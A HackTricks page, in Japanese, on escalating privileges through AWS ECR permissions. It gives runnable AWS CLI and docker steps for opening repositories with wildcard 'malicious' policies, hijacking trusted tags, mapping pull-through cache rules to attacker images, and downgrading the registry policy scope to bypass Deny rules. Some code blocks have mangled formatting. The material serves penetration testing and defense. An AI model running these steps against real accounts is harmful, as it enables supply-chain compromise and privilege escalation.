AWS - ECR Privesc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

これらの権限(ecr:GetAuthorizationTokenecr:BatchGetImage)を持つ攻撃者は ECR にログインしてイメージをダウンロードできます。

For more info on how to download images:

AWS - ECR Post Exploitation

潜在的な影響: トラフィック内の機密情報を傍受することによる間接的な privesc。

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

これらすべての権限を持つ攻撃者は ECR にログインしてイメージをアップロード できます。これは、そのイメージが使用されている他の環境での権限昇格に役立ちます。

さらに、ecr:PutImage は既存のタグ(例えば stable / prod)を上書きするために使用でき、そのタグの下に異なるイメージマニフェストをアップロードすることで、タグベースのデプロイを実質的にハイジャックできます。

下流の利用者がタグでデプロイし、タグ変更で auto-refresh する場合には特に影響が大きく、例えば:

  • Lambda container image functions (PackageType=Image) が .../repo:stable を参照している場合
  • ECS services / Kubernetes workloads が repo:prod を pull している場合(digest pinning をしていない)
  • Any CI/CD that redeploys on ECR events

これらの場合、タグの上書きはコンシューマ環境での remote code execution およびそのワークロードが使用する IAM ロールへの権限昇格(例えば secretsmanager:GetSecretValue を持つ Lambda 実行ロール)につながる可能性があります。

To learn how to upload a new image/update one, check:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

前のセクションと同様ですが、パブリックリポジトリ向けです。

ecr:SetRepositoryPolicy

この権限を持つ攻撃者は、repository policy を変更して自分自身(あるいは全員)に read/write access を付与することができます。
例えば、以下の例では全員に読み取りアクセスが付与されています。

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json の内容:

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

前のセクションと同様ですが、公開リポジトリ向けです。
攻撃者は ECR Public リポジトリのリポジトリポリシーを変更して、不正な公開アクセスを付与したり権限を昇格させたりできます。

# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

潜在的影響: ECR Public repository への不正な公開アクセスにより、任意のユーザーがイメージを push、pull、delete できるようになります。

ecr:PutRegistryPolicy

この権限を持つ攻撃者は、registry policychange して自分自身、あるいは自分のアカウント(または全員)に read/write access を付与することができます。

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

ECR Pull Through Cache (PTC) のルールを悪用して、attacker-controlled な upstream namespace を信頼された private ECR プレフィックスにマップします。これにより、private ECR からイメージを pull するワークロードは、private ECR に push することなく透過的に attacker のイメージを受け取ります。

  • 必要な権限: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule。ECR Public upstream を使用する場合: public リポジトリの作成/プッシュには ecr-public:* が必要。
  • テスト済み upstream: public.ecr.aws

Steps (example):

  1. ECR Public に attacker イメージを用意する

Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. private ECR に PTC ルールを作成して、信頼されたプレフィックスを public レジストリにマップする aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws

  2. private ECR 経由のパスで attacker イメージを pull する(private ECR への push は不要) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: 選択したプレフィックス配下の内部イメージ名をハイジャックすることでサプライチェーンが侵害される可能性があります。そのプレフィックスを使用して private ECR からイメージを pull するワークロードはすべて attacker-controlled なコンテンツを受け取ります。

ecr:PutImageTagMutability

この権限を悪用して、タグ不変性 (tag immutability) が有効なリポジトリを mutable に変更し、trusted tags(例: latest, stable, prod)を attacker-controlled なコンテンツで上書きできます。

  • 必要な権限: ecr:PutImageTagMutability とプッシュに必要な権限(ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage)。
  • 影響: タグ名を変更せずに不変タグを密かに置き換えることでサプライチェーンが侵害される可能性があります。

Steps (example):

mutability を切り替えて不変タグを汚染する ```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```

ROOT Pull-Through Cache ルールによるグローバルレジストリ hijack

特殊な ecrRepositoryPrefix=ROOT を使って Pull-Through Cache (PTC) ルールを作成し、プライベート ECR レジストリのルートを上流の public registry(例: ECR Public)にマッピングします。プライベートレジストリ内に存在しないリポジトリへの pull は透過的に上流から提供され、private ECR に push せずに supply-chain hijacking を可能にします。

  • 必要な権限: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • 影響: <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> への pull が成功し、上流をソースとするプライベートリポジトリが自動作成されます。

注: ROOT ルールでは --upstream-repository-prefix を省略してください。指定するとバリデーションエラーになります。

デモ (us-east-1, upstream public.ecr.aws) ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)

1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)

aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws

2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)

aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

Example using an official mirror path hosted in ECR Public

(public.ecr.aws/docker/library/alpine:latest)

docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

3) Verify repo and image now exist without any push

aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]” aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED

4) Cleanup

aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true

</details>

### `ecr:PutAccountSetting`(`REGISTRY_POLICY_SCOPE` をダウングレードしてレジストリポリシーの Deny をバイパス)

`ecr:PutAccountSetting` を悪用してレジストリポリシーのスコープを `V2`(すべての ECR アクションに適用)から `V1`(`CreateRepository`、`ReplicateImage`、`BatchImportUpstreamImage` のみ適用)に切り替えます。もし制限的なレジストリポリシーの Deny が `CreatePullThroughCacheRule` のようなアクションをブロックしている場合、`V1` にダウングレードするとその適用が外れ、identity‑policy の Allow が有効になります。

- 必要な権限: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- 影響: レジストリポリシーの Deny によって以前ブロックされていた ECR アクション(例: PTC ルールの作成)を、スコープを一時的に `V1` に設定することで実行可能にする。

手順(例):

<details>
<summary>CreatePullThroughCacheRule に対するレジストリポリシーの Deny を V1 に切り替えてバイパス</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする